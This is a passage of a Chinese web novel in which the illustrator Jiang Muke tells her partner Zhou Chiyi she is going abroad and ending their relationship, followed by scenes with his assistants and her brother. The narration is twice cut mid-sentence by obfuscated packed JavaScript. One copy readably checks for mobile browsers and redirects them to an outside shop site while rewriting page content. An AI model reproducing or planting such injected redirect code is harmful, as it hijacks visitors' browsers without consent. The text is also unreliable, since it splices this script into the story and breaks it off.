全英的字体遍布内容，只有在最后的角落标注了中英双语的名字，是江沐珂的英文名字。 周迟一从来没听过她的英文名字。 和单纯地看画作不同，看完一整张全英文字，要比看没有文字的作品来得慢些。 周迟一缓缓收拢眉头，负责翻页的那只手再没动作，保持着捏纸的姿势加了手劲，连带着纸的一角生出几道皱褶。 两双眼睛对视，依旧是谁也没有说话，回答和疑问都包含在目光里。 18. 新决定 “你什么时候做的决定？” 客厅里的诡异的寂静被打破，周迟一慢慢合上文件夹，表情变化不多，但总归还是有的。 这个发现让江沐珂些许欣慰，其实她也不是一点都不重要，在他心里还是能够牵动情绪的存在。 不差劲了。 江沐珂在说话之前，默默在心里没有带有任何一点的嘲讽点评。 江沐珂从沙发上将文件夹收回，拿到一边放好，“很早之前随便投的，最开始没想过能够收到回复，后来就一直没关注了。” 说的这些话是真的，江沐珂脸上微嘲，是真的不觉得自己会收到这份邮件答复，更没想到后续她真的会做出这个决定。 周迟一微不可见地叹气，嘴角的笑容没平时那么好看，藏着些低落在里面，或许他自己也已经察觉到最近她的变化。 这种的变化江沐珂感觉得出来，但是她从发出那封邮件开始，就已经没有理由再为自己找补什么，没身份，也没资格。 “挺好的，你一直都很喜欢这个老师”，周迟一如江沐珂预料的一样做出评价，没什么营养的大众模版点评。 眼睛继续注视着江沐珂的方向，不言语，也不动容。 “不说完吗？” 周迟一问。 江沐珂提着的心缓缓落下一些，观人察色这一套周迟一始终是最擅长的，他看出来了她的没有说完。 安静再次蔓延，即便是自己做的决定，当着对方的面说到这个问题时，江沐珂仍旧需要经过一番心理建设。 在她开始说话之前，周迟一笑了，很干净的笑，不带有任何其他的情绪。 “想说什么就说吧，现在这样不像你。” 这种说话的口吻，让江沐珂恍神，就好像当初他们刚相识时候的场景。 那个时候的周迟一虽然依旧是一个表情匮乏的主儿，做的一些事情也远没有现在更稳妥合理，可是却有着学生身上独有的气质，让身边的人更想亲近他。 江沐珂刚想开口突然呆住，双眼盯着周迟一发愣，记忆中的人影和此时此刻重叠，“好” 应下说话时，江沐珂是完全不在状态的，短暂地陷入到她一直珍藏的回忆中。 “我最近想了很多，从我们两个的关系，相处方式等等，一直到你是否还需要我，又或者我同样是否还需要你的陪伴问题”，明明是早就已经想过很多遍的话语，临到嘴边江沐珂最终还是选择一点一点地试探说出口，“可能换句话会说得更明白，我们是否还有在一起的必要，我最近都在想这个问题的答案。” “嗯，那你找到你的答案了吗？” 周迟一轻声追问她思考后的结果，脸上一直挂着鼓励的神色。 还是这个样子，对什么事都云淡风轻的，仿佛没有任何事能扰乱他的心神，哪怕是他们之间的感情是否继续问题。 江沐珂转开视线，落到透明文件夹上，被反着盖的文件夹，能看到最后一张白纸上隐约可见的英文字母，“找到了。” “我尊重你”，周迟一双手交叉，搭在膝盖上，读不懂他的眼神。 简单的四个字，让江沐珂总觉得自己这些天的矛盾纠结状态，如同一拳打在棉花上，没有任何作用，反而浪费很多自己的精气神。 江沐珂扯动嘴角苦笑，舔下嘴唇继续自顾自说自己的，“你有你的工作，我也有我想要追求的兴趣，目前来看，可能我们真的不太适合继续在一起，每天都是千篇一律的日复一日，很多时候可能还没有我自己笔下人物的生活多姿多彩，在刚踏入大学时我曾不止一次的假想过，我以后恋爱后的生活一定是很精彩的，起码不是现在这样没有波澜，只有你来我往明明熟悉却又陌生的交集。” “在外人眼中，你是良配，是生活择偶里的最优解，但是仔细现阶段的你，在我的生活里不是最优答案，爱人先爱己，可是在我们的这段感情里，我丢失了自己，丧失了爱人和拥有爱的能力。” 说到这里，江沐珂重新把视线转移回来，与周迟一再次对视，眼神不再躲闪，直直地看向他。 “或许我们都需要时间这剂良药疗愈，从而真正找到这段感情里自己的需要与否，我想分开会是很好的解决方法，这不是逃避，是重新认清自我的过程。” 周迟一听得认真，时不时会跟随她说话的动静缓缓点头，不知是在赞同，还只是在单纯的迎合。 又是一阵安静的沉默。 江沐珂抿紧双唇，伸手把文件夹抓进手里，无所事事地翻看，随手翻开的一页，正好是代表分别镜头的插画。 两个人的目光同时落在插画上，都在同一时间不约而同抬头，视线交错又分开。 “出国的资料都准备好了吗？” 回避话题转而关心了另一个问题，江沐珂摸不准他的想法，微微皱眉，犹豫着回答，“还没有，不过已经在准备了。” “嗯，什么时候去定下来了吗？” 又是一个不相关的问题。 江沐珂如实作答，“明年吧，在国内过完年后。” 这是最开始的计划，还没有做最后具体的时间确定。 沉默是今天晚上的主旋律，江沐珂有心改变但苦于没有任何能力。 适时的电话铃音骤响，把江沐珂从这种尴尬的气氛中解救出来。 “喂，怎么了，这个时间突然打电话来？” 是木仔的电话，以往这个时间都是最费肝的时候，最不应该来电话的时刻。 木仔语气里洋溢着藏不住得激动，也就是人没有在眼前，不然一定看到的是手舞足蹈的画面。 “师父！我我我！！有人联系我想要买断我的作品！” 江沐珂捂住手机话筒，往前俯身小声和周迟一说话，告诉他自己先去接个电话。 木仔的电话没有太多重要的事情，打这个电话主要是为了表达一下她的激动，和受宠若惊的欣喜。 在此之前不是没有卖过作品的版权，只是这次的买断版权问题有点出其不意，一点没有预料和征兆的。 听她的意思是，最开始发网上的不过就是她闲来之作，也算是听了江沐珂的事情后自己的一些心得和感慨。 以简笔插画的形式，接连几天在自己的个人账号里连载一个小故事，表达她的相关看法。 热度就这么来得突然，甚至有金主找上来询问版权问题，关键报的价还不低，要求也不多，唯一的要求就是，再细化一些具体内容，有可能的话再稍微不那么简一下。 上天掉馅饼的好事，木仔多少还是有些心虚，想着来咨询江沐珂一下，听听她的看法，以及如果接洽的话，后续需要注意的内容。 这种事情可大可小，江沐珂问清楚各种情况后，在电话里挑了一些重要的内容叮嘱木仔。 结束电话已经是七八分钟后。 江沐珂从画室里面推门出来，视野正中央正闯入周迟一的身影，依旧是刚刚的姿势坐在沙发上，好像没有任何姿势的变动。 一旁手边的手机屏幕时灭时亮，可能是某个群聊的消息提醒，被手机主人丢在一边，始终对它不理不睬。 “木仔问我一些问题，说得久了一点，没耽误到你处理工作的时间吧？” 对于工作狂，江沐珂第一时间关心时间问题。 周迟一好像被她的声音叫回神，眼睛短暂地陷入到恍惚状态，之后缓慢摇头，对着她的方向勾动嘴角笑笑。 “不会，明天不去公司，暂时没有什么工作需要处理了。” 这种话从周迟一口中说出来，不可思议的程度又增上几分。 虽然很不想全盘和出，但是江沐珂深吸一口气还是狠了狠心，继续道，“我晚上约了叶弥去唱歌，就不回来了，衣服什么的我会慢慢收拾拿走的。” 根本不需要等周迟一的具体回答，江沐珂已经给他们之间的关系盖了不可更改的死刑答案。 在江沐珂转身的背后，周迟一抬起手又落下，微微张口的唇瓣欲言又止，随着身侧落下的胳膊选择闭上，没有再发一言。 感情的开始从来都是需要两个人的配合，共同从一个全新的关系起点同时前进，然而感情的结束，只需有一方的气馁放弃，便已经注定了两人之间的感情消失。 江沐珂和周迟一的感情之间，江沐珂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐知远不解着拿开手机，专门去确认电话仍在接通，没有挂断的状态，“喂？你还有没有在听？真的有什么着急的事吗？” 一连三个问题抛回去，试图确定周迟一的情况。 电话里反常的状态，让徐知远困惑，这通电话丝毫不符合周迟一的行事作风，不合理，很不合理。 “我家里停电了，能去你那住一晚吗？” 徐知远再次看一眼手机号码备注，的确是周迟一没错，但也就除了备注是对的，电话里说出的任何一句话都不像是对的。 周迟一是谁？ 周迟一要借住？ “一套，两套，三套，周迟一你有病啊，你自己有几套房你又不是不知道，这还不够你住的？发什么神经呢？” 这还只是不完全统计，徐知远不是周迟一的房子管家，这些都是他们一起买的，所以知道。 没有这些房子，周迟一还有爸妈住的大宅能回去，他的房间是一直被周叔叔周阿姨打扫保留的，随时都能回去住。 无论是哪种情况来看，都不可能沦落到找自己借住的程度。 面对不太友好的恶劣口吻，周迟一不怒反笑，任由身体往沙发上躺，犹如一只软组织生物，在黑暗中瘫着不动。 “我家停电了，你现在在哪，来我家接我，我车让陈林开走了。” 周迟一表现得仿若没听到刚刚徐知远的话，继续说着自己的情况和需求。 这都是些什么不讲理的要求。 徐知远握着手机抬头看一眼玻璃窗外面的大太阳，两个人通话到现在只剩下笑了，被气笑的那种。 “我说，周大哥，我现在这里大太阳在天上挂着，你那边算算时间正是晚上吧，你说我怎么接你，你是想让我开船还是开飞机啊？” 徐知远故意停顿一下，想到周迟一最开始话里的解释，埋汰没有就此打住，还在继续，“再说了你家停电你找物业和维修工啊，找我能干嘛，隔空施法吗？” 保持沉默，静等着徐知远把话说完，周迟一开口，“你家密码是多少，我自己去。” 死脑筋一般在他家这棵树上吊死不走了，徐知远带着歉意看对面的人无奈笑一下，报出自己的门锁密码。 “谢了，祝你在爱尔兰好运，再见。” 道谢，祝福，道别，得到自己想要的答案，一连三句礼貌用语结束这通仓促的电话。 有人欢喜有人不尽意，同样的感情，不相同的人，没人知道他们四个人是否会走不一样的道路，分别拥有不相同的结果。 19. 策划案 半个月的假期结束，陈林第一天回到公司时，在高层的办公室门口有刹那的呆愣，因为看到里面的身影。 距离正式上班其实还有一天的假期，陈林回来得早，左右在家也没事做，闲晃悠着便来到公司了。 “不知道了吧，我两天前来公司拿东西时，老板就已经在了。” 高玖星不知道什么时候凑近过来，用着两个人的小音量小心交谈。 两天前，在今天的两天前，也就是三天前，而且还只是他们看到的三天前。 陈林面上浮现起忧色，“这么早？不应该啊，老大不是专门算好的半个月假期吗？” 开工晚的人，没有什么知情权，高玖星努力收好自己的嘴角，用右手挡在两人中间。 “不止呢，我昨天和楼下经理一起吃饭，她告诉我老大根本就没有休息，这段时间还让她帮着搜集一些信息，好像准备开始一个新IP的开发，都是些之前没有过的信息内容。” 高玖星这番话如同一颗炸弹，悄悄摆在陈林和她之间，身为老大的特助，结果他们自己假期过得都很充实，而他们的衣食老大自己一个人在公司加班工作。 这种话不用说出来，单只是想一想就能感受得到的不妥当，不合理。 往难听了说，便是老大自己都能完成工作，那他们这两个特助的作用也没那么重要，而在职场中，可有可无的人一贯都是裁员时的首选之一。 陈林单手搭在胸口的位置，平复自己的心情，慢吞吞回到自己位置上。 隔着一道走廊，陈林用口型说话，偏偏他和高玖星一向没什么默契，始终只能得到高玖星困惑的神色，以及无奈摊开的双手耸肩。 这样的状态里，陈林根本没有办法彻底投入到工作中去，总是时不时就抬头，打量磨砂玻璃里面的身影。 “别看了，和我一起进去拿档案和老大准备的策划案。” 高玖星实在看不下去陈林这幅样子，路过他的办公桌时，单手屈指在桌面上轻叩几下，没有刻意压低声音。 来都来了，这句话永远适用在任何一种情况，比如说眼下。 陈林跟在高玖星身后，得到里面人的首肯后推门进入。 最简单的休闲运动装，头发上凌乱发丝大概是工作时间里随手抓的，周迟一这个样子和平时谈合作工作完全不同，更…… 更平易近人了些。 周迟一的目光扫到陈林身上，点下头很快移开，没有多说什么，只是双手撑在下巴的位置，听着高玖星的工作汇报内容时不时点头表示赞同。 高玖星所说的内容都是陈林一点不熟悉的内容，完全不了解的领域信息收集，她和周迟一口中提到的什么UP主和博主的名字，陈林大多数都没有听过。 在办公室里待了约莫有近两个小时，陈林才算是把有关新IP的计划搞明白，从主要立意和出发点，以及它的各种利益方面。 该怎么形容这个新IP的总体价值呢，即便是陈林，他都能衡量出来的不值得投资和开发项目，甚至会有很大概率不回本的投资。 从商人的角度，周迟一不可能权衡不出来。 一个冷门小众圈子，与热点集中的圈子相对比，新IP的策划并不占优势，而且处在相对劣势的处境。 保留着自己的观点，一直到从办公室中出来，陈林猫着腰凑在高玖星的位置上，问出自己的疑惑。 “大哥，你问我，我去问谁，老大要做的，我们只管跟着就是了，反正工钱不会少了我们的不就OK了？” 话虽然在理，但是陈林还是止不住的不解。 高玖星看不下去陈林这个好奇猫的样子，很是无语地扫他一眼，主动从椅背上拎了外套走过去，“有点困了，一起下楼买咖啡区，姐请你啊。” “没大没小，你也没比我大好吧，少占我便宜。” 陈林也不让她，立刻回怼过去。 有关新IP的开发策划，高玖星也没有特别了解，这个项目从开始便是周迟一一手策划提出的，作为话事人，他拥有独特的毒辣眼光，这是很多人没办法否认的，所有会议中很多人都表示了赞同票。 “这么说吧，凭我女人的第六感来分析这整件事”，高玖星对着咖啡纸杯口吸溜一口，没想到会这么烫，热得连连吐出舌头试图缓解舌头上的不适感，“你看老大女朋友是不是就是画手？” “严谨点，是画师，在网上知名度很高的”，陈林打断说话，对她进行纠正。 高玖星和江沐珂交集不多，只是认识，“好好好，画师行了吧，你就说是不是和老大这次的策划内容很符合？” 陈林点点头回答。 “而且我们这次的假期是不是老大为了她准备的？” “是” “结果呢，专门腾出来的时间用来在公司工作，编写新IP项目的开发策划案，你觉得这合适吗？” “不合适” 接连三个问题抛出去，差不多内容全部引出来，正是时候挑明说的时候。 高玖星看一眼咖啡，止住想要再次尝试的念头，“而且昨天徐二哥来找过老大，出来时脸色不怎么好，临走前好像还在里面怼了老大一番，只是一拳打在棉花上，应该是没有起到什么作用，结合这一系列的事情，所以我合理猜测，老大感情上出现问题了。” 陈林下意识转头，满脸不可置信，第一时间想要张开反驳。 但是转念一想之后，嘴边的话都被重新收回，隐隐开始有些赞同高玖星的分析。 公司里见过周迟一和江沐珂相处的人不多，但是陈林不属于这之中的人，他比大多数人都清楚他们两人的关系，所以才会想要在第一时间否认，而又在简短的思考之后闭口不言。 正是因为他见识过两人过分和谐的相处关系，陈林才不敢轻易下定论，因为在他看来，太过和谐反而让人觉得不正常，印象中，他甚至没有见过在周迟一身上出现情侣之间的生气状况发生。 正好他最近也在追某个女生，是真真切切地体会到恋爱中的各种“疑难杂症”。 他们两人端着各自的咖啡回到高层办公室时，恰恰和等电梯的周迟一迎面对上。 “陈林，和我一起出趟差，两小时后来公寓接我，机票我已经定好了。” 工作和行程来得都猝不及防，打得陈林措手不及。 电梯门缓慢关上，高玖星用胳膊肘捅一下正在发呆的某人，难得好心提醒他。 “嘿，好兄弟，提醒一下，你只有两小时哦~” 陈林猛吸一口凉气，闭上眼再睁开，动作不容拒绝地直接把还没来得及动口的咖啡塞到高玖星手中，转身就迈着大步朝办公室去。 没一会儿时间，再看到陈林，是他拎着外套急匆匆往外赶。 “大哥，两杯咖啡，你是想让我死吗？” 高玖星对咖啡因敏感，一天一杯咖啡已是极限，多数时间不到万不得已也不会主动去碰带有咖啡因的饮品。 两个小时转瞬即逝，陈林现在就是分秒必争的紧要关头，根本顾不上高玖星的调侃，从她身边经过时摆摆手就彻底消失在电梯门后。 工作狂真可怕，碰上个感情不顺的工作狂更是可怕。 高玖星看着手中的两杯咖啡无奈摇摇头，转身也去等了电梯，准备去楼下办公室找人解决下多余的这杯不太长眼的咖啡。 哼着最近热播剧的OST韵调，准备开始她新一天的工作安排。 - 从公寓里搬出来后，江沐珂不记得她在江沐言公寓里拢共待了几天，每天重复着相同的事情。 运动健身，看书，练字，学习做饭，以及最重要的画画。 不与外界接触，不和其他人联系，不主动迈出公寓房门。 属于江沐珂自己的三不原则，一直贯彻她这段时间。 爆肝产能的半个月里，江沐珂的关注粉丝每天都有喜欢的新粮产生，在网上混得风生水起。 木仔也在这半个月里，得到轮回的待遇，很多时候都找不到江沐珂人，最后索性和她一样进入到一种内卷到疯狂的状态。 告别上学时代后，木仔就没有再感受到过被卷的体验，非要比个高低的话，这段时间的内卷比之那时更甚。 “我的个老天啊，珂珂你疯啦，不准备活的时候记得先告诉我银行卡密码，我帮你解决。” 木仔倒在床上，整个人都懒散的模样，呈现个“大”字状。 到底是谁说的画画不费脑子，只费肝的？ 现在木仔就有绝对的发言权，这句话的可信程度为零！！ 江沐珂坐在沙发上，没几分钟时间剥好一个柚子，边吃边听木仔吐槽。 “怎么啦？我现在每天都充实，这叫生活健康，还有啊，偷偷告诉你，我的马甲线应该就快要有雏形了，摸着有一点点硬咯。” 她们两个人之间最内卷的两个话题，一是作品质量产量，二是减肥马甲线。 一旦涉及这些话题，就等于亲近的关系短暂停止，转而陷入到势不两立的敌对方，谁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347390|151940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会相让谁。 江沐珂的话完全奏效，激得木仔一个鲤鱼打挺直接从床上翻身跳下去，视线第一时间落到墙角的跳绳上面。 接下来的对话里，木仔的所有声音都是呼哧带喘的，因为边运动边说话的缘故。 “认真的，你真的就这么决定了？不后悔？” 时隔半个月，再次聊起和感情相关的内容。 江沐珂用手边平板播放首轻缓纯音乐，电子设备之间的磁场相互影响，导致木仔那边听起来乱哄哄的电流杂乱声不间断。 聒噪刺耳，都堆积在耳边，听得让人生烦。 “救命啊，你到底在那边干嘛呢，乱糟糟的难受死我了！” 之前也发生过这类事，没太注意到这点，江沐珂被她这么一点猛然想到这事，咧嘴傻笑一下点了音乐播放器的暂停键。 江沐珂剥好柚子内皮，顺手拿一小块丢到嘴里，支支吾吾说话不太清楚，“嗯？你刚刚说什么来着，就上一句话。” 怕七秒钟记忆的木仔不知道自己在问的是哪句话，江沐珂贴心又补充半句，“就电流声出现之前那句。” 运动时间逐渐变长，佩戴的手环上心率也开始进入到一百二三十的频率附近，说话声音喘气的节奏也随之越来越频繁。 肢体运动，脑子回想，语言功能同时运作，一心多用是实打实地不太够用。 差不多意思的问题，被整理后再次重新从手机通话里传出来，以及不太能忽略的喘气换气动静。 “哈哈哈哈，木仔，听得出来你挺累哈”，江沐珂抿着唇角，努力压着放肆的笑声，不让木仔找到反驳吐槽的点，“不后悔啊，这有什么后悔的，再说了就算后悔，我若是不说，你们就没有人知道，就等于我不后悔。” 一连串的话把木仔说得晕头转向，本就不擅长的脑回路更像一团毛线球，彻底没了逻辑。 “什么狗屎逻辑，我听不懂，我就问你会不会后悔，怎么还能扯到别人呢？” 木仔不吃江沐珂这一套说辞，继续追问。 江沐珂：“怎么听不懂了，你就记得在你的视角里，我百分之百是不后悔的就行了。” “要什么我视角，问的是你，又不是我”，说着说着反而把自己说上头了，木仔干脆停下运动，坐等她给出答案。 “别管，你就记住我刚说的话就得了”，江沐珂继续坚持自己。 油盐不进，认准死理的人不多，偏偏木仔和江沐珂两人都是这一挂的，谁也不愿意让谁，互相揪着对方的点追问。 插科打诨还在进行，门口江沐言开门动静突然传来，打断这通没营养浪费时间的电话。 “哎，哥，你怎么这么快就回来了，不是说要一个月的吗？” 江沐珂从沙发上起身，赤脚踩在地板上，刚想迈脚的动作被止住。 “穿好鞋，不然就继续在沙发上坐着”，江沐言抬手指指脚下方向，皱眉不太高兴。 在自家哥哥面前，嬉皮笑脸着摩擦小脚丫子，做出乖乖的小模样。 江沐珂把手边的柚子慢慢往前推，“哥，你也吃。” 家中最护食的人就数江沐珂，在家里人面前更是猖狂，面对喜欢吃的丝毫不让。 主动让最爱吃水果，这种事已经怪到反常。 江沐言提一下裤腿，坐在沙发上放松双腿，眼皮微抬瞅一眼对面的方向，歪嘴露出一抹冷笑。 “不吃了，说吧，就没有什么要告诉我的，总不能是闲得没事想哥哥，专门在我家等我半个月时间吧？” 半个月前，冷不丁地收到江沐珂的电话，什么原因也没说，就直接要了公寓密码，以及一间客房和书房的所有使用权。 江沐珂不放弃地还是想要给自己解释一下，“我那不是自己的公寓还没装修好，又不忍心回家去打扰老爸老妈二人世界，这不就只能来你这暂住一下嘛，不可以吗，亲爱的好哥哥~” “舌头捋直了说话，我不吃这一套”，江沐言不接收任何来自对面的眼神交流，左手搭在右手上来回转动手腕，缓解腕关节处的不适。 迟迟等不到回答，江沐言抬头视线瞄过去，盯着对视几秒，心里差不多有自己的猜测。 “你和周迟一怎么了，这是从他那里搬出来了？” 客厅的一角放置着蓝色大行李箱，拉杆上挂着配套的小方包，这是江沐珂最喜欢的一套，离家时必带的装备。 江沐言双手撑在膝盖上，紧紧注视着江沐珂，让她没有办法回避中心话题，除了回答。